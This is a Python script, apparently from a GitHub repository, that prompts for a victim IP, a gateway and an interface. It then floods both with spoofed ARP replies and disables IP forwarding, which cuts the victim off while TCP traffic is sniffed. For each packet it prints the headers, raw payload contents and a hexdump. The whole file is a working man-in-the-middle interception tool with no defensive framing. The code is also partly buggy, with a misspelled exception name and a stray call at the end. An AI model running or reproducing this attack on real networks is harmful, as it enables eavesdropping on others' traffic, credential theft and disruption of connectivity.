<gh_stars>1-10
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
from termcolor import colored
import threading, textwrap
from textwrap import *

os.system("clear")
   
print("""

                     ______________________________ 
                     \__    ___/\_   ___ \______   )
                        |    |   /    \  \/|     ___)
                        |    |   \     \___|    |    
                        |____|    \______  /____|    
                                         \/          

""")

os.system('echo 0 > /proc/sys/net/ipv4/ip_forward') 

VIP = input("\nVictim: ")
GW = input("Gateway: ")
IFACE = input("Interface: ")

str(GW)
str(VIP)
str(IFACE)

def pkthandler(pkt):
   try:
      ip = pkt[IP]
   except IndexError:
      pass

   try:
      src = ip.src
      dst = ip.dst
   except UnboundLocalError:
      pass

   if pkt.haslayer(TCP):
      tcp = pkt[TCP]
      print("--------------------------------------------------------\n\n")
      print("                     .:{}:.                            ".format(colored('TCP','red')))
      print("                                                          ")
      print("  \033[1;36mSource IP:\033[00m {} \033[1;36mDestination IP:\033[00m {}".format(src, dst))
      print("  \033[1;36mSource Port:\033[00m {} \033[1;36mDestination Port:\033[00m {}".format(tcp.sport, tcp.dport))
      print("  \033[1;36mSequence Number:\033[00m {}                         ".format(tcp.seq))
      print("  \033[1;36mAcknowledgement Number:\033[00m {}                         ".format(tcp.ack))
      print("  \033[1;36mData Offset:\033[00m {}                         ".format(tcp.dataofs))
      print("  \033[1;36mReserved:\033[00m {}                               ".format(tcp.reserved))
      if tcp.flags == 2:
         print("  \033[1;36mFlags:\033[00m {}                                ".format('SYN'))
      elif tcp.flags == 4:
         print("  \033[1;36mFlags:\033[00m {}                                ".format('RST'))
      elif tcp.flags == 16:
         print("  \033[1;36mFlags:\033[00m {}                                ".format('ACK'))
      elif tcp.flags == 32:
         print("  \033[1;36mFlags:\033[00m {}                                ".format('URG'))
      elif tcp.flags == 8:
         print("  \033[1;36mFlags:\033[00m {}                                ".format('PSH'))
      elif tcp.flags == 1:
         print("  \033[1;36mFlags:\033[00m {}                                ".format('FIN'))
      print("  \033[1;36mWindow Size:\033[00m {}                         ".format(tcp.window))
      print("  \033[1;36mChecksum:\033[00m {}                         ".format(tcp.chksum))
      print("  \033[1;36mUrgent Pointer:\033[00m {}                         ".format(tcp.urgptr, "\n"))
      rawLoad = pkt.getlayer(Raw)
      if rawLoad == None: pass
      else:
         print("  \033[1;36mRaw:\n\n\033[00m {}                         ".format(colored(rawLoad, 'green')))

      print(" ")
      print(" ")
      hexdump(pkt)
      
      

         
def v_poison():
   v = ARP(pdst=VIP, psrc=GW,)
   while True:
      try:   
         send(v,verbose=0,inter=1,loop=1)
      except KeyboardInterupt:                     # Functions constructing and sending the ARP packets
         sys.exit(1)

def gw_poison():
   gw = ARP(pdst=GW, psrc=VIP)
   while True:
      try:
         send(gw,verbose=0,inter=1,loop=1)
      except KeyboardInterupt:
         sys.exit(1)

def format_muti_lines(prefix, string, size=80):
  size -= len(prefix)
  if isinstance(string, bytes):
     string = ''.join(r'\x{:02x}'.format(byte) for byte in string)
     if size % 2:
        size -= 1
  return '\n'.join([prefix + line for line in textwrap.wrap(string, size)])
 
vthread = []
gwthread = []  
 
while True:     # Threads
  vpoison = threading.Thread(target=v_poison)
  vpoison.setDaemon(True)
  vthread.append(vpoison)
  vpoison.start()        
       
  gwpoison = threading.Thread(target=gw_poison)
  gwpoison.setDaemon(True)
  gwthread.append(gwpoison)
  gwpoison.start()
  
  try:
     pkt = sniff(iface=str(IFACE),filter='tcp',prn=pkthandler)
  except KeyboardInterrupt:
     os.system("{ cd ..; python3 net.py; }")
     exit(0)
if __name__ == "__main__":
   TCP()
